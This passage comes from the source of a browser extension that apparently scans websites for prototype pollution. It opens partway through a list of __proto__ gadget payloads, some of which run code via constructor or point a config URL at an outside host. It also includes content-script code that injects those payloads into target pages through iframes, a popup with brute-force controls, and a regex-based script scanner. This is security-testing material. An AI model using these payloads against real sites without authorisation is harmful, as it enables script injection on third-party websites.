',
34 | "__proto__[v-if]=_c.constructor('debugger')()",
35 | '__proto__[attrs][0][name]=src&__proto__[attrs][0][value]=xxx&__proto__[xxx]=data:,debugger//&__proto__[is]=script',
36 | "__proto__[v-bind:class]=''.constructor.constructor('debugger')()",
37 | '__proto__[data]=a&__proto__[template][nodeType]=a&__proto__[template][innerHTML]=',
38 | `__proto__[props][][value]=a&__proto__[name]=":''.constructor.constructor('debugger')(),"`,
39 | '__proto__[template]=',
40 | '__proto__[srcdoc]=',
41 | '__proto__[Config][SiteOptimization][enabled]=1&__proto__[Config][SiteOptimization][recommendationApiURL]=//p6.is/ppscan.php',
42 | ];
43 |
44 | window.addEventListener('message', function(event) {
45 | if (event.data.url && event.data.foo == "baz") {
46 | if (window.name.search("ppdeadbeef1") == -1) { // avoiding recurssion
47 | var url = event.data.url;
48 | for (let idx in GADGETS) {
49 | if (event.data.type != 'hash') {
50 | setTimeout(() => {
51 | let iframe = document.createElement("iframe");
52 | let target_url = new URL(url);
53 |
54 | target_url.search = GADGETS[idx];
55 | iframe.name = "ppdeadbeef1"
56 | iframe.src = target_url;
57 | console.log(`[search:${+idx + 1}] `, target_url.href);
58 | document.documentElement.appendChild(iframe);
59 | }, 500 * idx);
60 | } else {
61 | setTimeout(() => {
62 | let iframe = document.createElement("iframe");
63 | let target_url = new URL(url);
64 |
65 | target_url.hash = GADGETS[idx];
66 | iframe.name = "ppdeadbeef1"
67 | iframe.src = target_url;
68 | console.log(`[hash:${+idx + 1}] `, target_url.href);
69 | document.documentElement.appendChild(iframe);
70 | }, 500 * idx);
71 | }
72 | }
73 | }
74 | } else if (event.data.url && event.data.foo == "bar") {
75 | chrome.storage.sync.get("buster", function(data) {
76 | if (data.buster) {
77 | var url = event.data.url;
78 | console.log(url)
79 | if (url.search("dummy") == -1 && window.name.search("ppdeadbeef1") == -1) { // avooiding recursion
80 | var locasdf = new URL(url);
81 | locasdf.searchParams.append('dummy', 'dummy') // avoiding recursion(twitter removes window.name)
82 | locasdf.hash = "#dummy"
83 | var a = window.open(locasdf.href, "ppdeadbeef1win");
84 | // a.blur();
85 |
86 | }
87 | } else {
88 | if (window.name.search("ppdeadbeef1") == -1) { // avoiding recurssion
89 | var url = event.data.url;
90 | for (i = 0; i < PAYLOADS.length; i++) {
91 | for (j = 0; j < 2; j++) {
92 | var locasdf = new URL(url);
93 |
94 | // debugger;
95 | var iframe = document.createElement("iframe");
96 | j ? locasdf.searchParams.append(PAYLOADS[i][1], PAYLOADS[i][2]) : locasdf.hash = "#" + PAYLOADS[i][1] + "=" + PAYLOADS[i][2];
97 | iframe.name = "ppdeadbeef1"
98 | console.log(decodeURI(locasdf.href));
99 | iframe.src = decodeURI(locasdf.href);
100 | // iframe.sandbox="allow-forms allow-scripts allow-same-origin"
101 | document.documentElement.appendChild(iframe);
102 | }
103 | }
104 | }
105 | }
106 | });
107 | }
108 | });
--------------------------------------------------------------------------------
/scripts/options.js:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/scripts/options.js
--------------------------------------------------------------------------------
/scripts/popup.js:
--------------------------------------------------------------------------------
1 | var port = chrome.extension.connect({
2 | name: "logger"
3 | });
4 |
5 |
6 | function logger() {
7 | chrome.storage.sync.get("toggle", function(data) {
8 | document.getElementById("toggle").value = data.toggle ? "Disable Active Mode" : "Enable Active Mode";
9 | });
10 | chrome.storage.sync.get("buster", function(data) {
11 | document.getElementById("buster").value = data.buster ? "Disable Window Mode" : "Enable Window Mode";
12 | });
13 | chrome.storage.sync.get("passive", function(data) {
14 | document.getElementById("passive").value = data.passive ? "Disable Passive Mode" : "Enable Passive Mode";
15 | });
16 | document.getElementById("toggle").onclick = function() {
17 | chrome.storage.sync.get("toggle", function(data) {
18 | if (data.toggle) {
19 | chrome.storage.sync.set({ "toggle": false });
20 | chrome.storage.sync.set({ "buster": false });
21 | document.getElementById("toggle").value = "Enable Active Mode";
22 | document.getElementById("buster").style.display = "none";
23 | } else {
24 | chrome.storage.sync.set({ "toggle": true });
25 | document.getElementById("buster").style.display = "block";
26 | document.getElementById("toggle").value = "Disable Active Mode";
27 | }
28 | });
29 | }
30 | document.getElementById("buster").onclick = function() {
31 | chrome.storage.sync.get("buster", function(data) {
32 | if (data.buster) {
33 | chrome.storage.sync.set({ "buster": false });
34 | document.getElementById("buster").value = "Enable Window Mode";
35 | } else {
36 | chrome.storage.sync.set({ "buster": true });
37 | document.getElementById("buster").value = "Disable Window Mode";
38 | }
39 | });
40 | }
41 |
42 | document.getElementById("passive").onclick = function() {
43 | chrome.storage.sync.get("passive", function(data) {
44 | if (data.passive) {
45 | chrome.storage.sync.set({ "passive": false });
46 | document.getElementById("passive").value = "Enable Passive Mode";
47 | } else {
48 | chrome.storage.sync.set({ "passive": true });
49 | document.getElementById("passive").value = "Disable Passive Mode";
50 | }
51 | });
52 | }
53 |
54 | document.getElementById("brute").onclick = function() {
55 | chrome.tabs.executeScript(null, {
56 | code: `document.dispatchEvent(new CustomEvent('TriggerBrute'));`
57 | });
58 | }
59 |
60 | document.getElementById("brutehash").onclick = function() {
61 | chrome.tabs.executeScript(null, {
62 | code: `document.dispatchEvent(new CustomEvent('TriggerBruteHash'));`
63 | });
64 | }
65 |
66 | document.getElementById("clear").onclick = function() {
67 | port.postMessage('clearLog');
68 | }
69 |
70 | port.postMessage('send found urls');
71 |
72 | port.onMessage.addListener(function(found) {
73 | listFound(found.found);
74 | });
75 |
76 |
77 | }
78 |
79 | window.onload = logger
80 |
81 | const foundLabel = document.getElementById('found-label');
82 | const foundList = document.getElementById('found-list');
83 |
84 | function listFound(found) {
85 | // foundList.innerHTML = '';
86 | foundLabel.style.display = foundList.style.display = found.length > 0 ? 'block' : 'none';
87 |
88 | found.forEach((str) => {
89 | const line = JSON.parse(str)
90 | const tr = document.createElement("tr");
91 | tr.innerHTML = `| ${new URL(line['domain']).hostname} | ${line['type']} | ${line['file']}:${line['lineCol']} | `;
92 | foundList.appendChild(tr);
93 | });
94 | }
--------------------------------------------------------------------------------
/scripts/utils.js:
--------------------------------------------------------------------------------
1 | const DEBUG = false;
2 |
3 | const blacklist = [
4 | 'https://www.google.com/pagead/conversion_async.js:19:76',
5 | 'https://www.google.com/pagead/conversion.js:28:76',
6 | 'https://www.googleadservices.com/pagead/conversion_async.js:19:76',
7 | 'https://www.googleadservices.com/pagead/conversion.js:28:76'
8 | ];
9 |
10 | let database = [];
11 |
12 | const patternMatch = (response, database) => {
13 | const result = [];
14 | const matches = [];
15 |
16 | database.forEach((pattern) => {
17 | const { name, type, chunk } = pattern;
18 |
19 | switch (type) {
20 | case 'regex':
21 | const re = new RegExp(chunk, 'i');
22 | const match = re.exec(response);
23 |
24 | if (match) {
25 | result.push(name);
26 | matches.push(match);
27 | };
28 | break;
29 | case 'text':
30 | const position = response.indexOf(chunk);
31 |
32 | if (position != -1) {
33 | result.push(name);
34 | matches.push({ index: position });
35 | };
36 | break;
37 | }
38 | });
39 |
40 | return [result, matches];
41 | };
42 |
43 | const downloadDB = (url) => {
44 | return new Promise((resolve, reject) => {
45 | fetch(url).then(
46 | response => response.text()
47 | ).then(res => {
48 | const ret = res.split('\n').map(line => {
49 | line = line.trim();
50 | if (line.startsWith('#') || line == '') { return; }
51 |
52 | let data = line.split('|');
53 | let name, type, chunk;
54 |
55 | name = data[0].trim();
56 | type = data[1].trim();
57 | chunk = data.slice(2).join('|').trim();
58 |
59 | return { name, type, chunk };
60 | }).filter(notnull => notnull);
61 |
62 | resolve(ret);
63 | })
64 | .catch(err => {
65 | console.log(err);
66 | reject(new Error('Error downloading ' + url))
67 | })
68 | });
69 | };
70 |
71 | const download = (url) => {
72 | return new Promise((resolve, reject) => {
73 | fetch(url).then(
74 | response => response.text()
75 | ).then(data => {
76 | resolve(data);
77 | })
78 | .catch(err => {
79 | reject(new Error('Error downloading ' + url))
80 | })
81 | });
82 | };
83 |
84 | const check = ({ requestUri, initiator }) => {
85 | if (DEBUG) {
86 | console.log(`[%] ${requestUri}`)
87 | }
88 |
89 | const url = new URL(requestUri);
90 |
91 | if (blacklist.indexOf(url.hostname + url.pathname) != -1) {
92 | return;
93 | };
94 | if (!url.hostname || !url.pathname) {
95 | return;
96 | };
97 | if (url.protocol == "http:" || url.protocol == "https:") {
98 | download(url).then(res => {
99 | const [result, match] = patternMatch(res, database);
100 |
101 | result.forEach((name, i) => {
102 | const preChunk = res.substr(0, match[i].index).split(/\n/);
103 | const line = preChunk.length;
104 | const column = preChunk[preChunk.length - 1].length;
105 | const lineCol = `${line}:${column}`;
106 |
107 | if (blacklist.indexOf(requestUri + ':' + lineCol) != -1) {
108 | return;
109 | }
110 |
111 | found.add(JSON.stringify({ domain: initiator, type: name, file: requestUri, lineCol }))
112 | setBadgeCount(found.size);
113 | });
114 | })
115 | }
116 | };
117 |
118 | const filter = {
119 | urls: [""],
120 | types: ["script"]
121 | };
122 |
123 | const scan = ({ method, url, initiator }) => {
124 | // if (method == "GET") {
125 | check({ requestUri: url, initiator });
126 | // }
127 | };
128 |
129 | const updateDB = () => {
130 | if (!database.length) {
131 | downloadDB(databaseUrl).then((_database) => {
132 | database = _database;
133 | chrome.webRequest.onCompleted.addListener(scan, filter, []);
134 | }).catch(e => console.log(e));
135 | }
136 | };
137 |
138 | const setBadgeCount = (len) => {
139 | chrome.browserAction.setBadgeText({ "text": '' + len });
140 | chrome.browserAction.setBadgeBackgroundColor({ color: len > 0 ? [255, 0, 0, 255] : [0, 0, 255, 0] });
141 |
142 | return;
143 | };
144 |
145 | const maybeSame = (a, b) => {
146 | return a.toUpperCase().trim() == b.toUpperCase().trim();
147 | };
148 |
149 | const isCSPHeader = ({ name }) => {
150 | return maybeSame(name, 'Content-Security-Policy');
151 | };
152 |
153 | const isXFrameEnabled = ({ name }) => {
154 | return maybeSame(name, 'X-Frame-Options');
155 | };
156 |
157 | const isCached = ({ name }) => {
158 | return maybeSame(name, 'If-None-Match');
159 | };
160 |
--------------------------------------------------------------------------------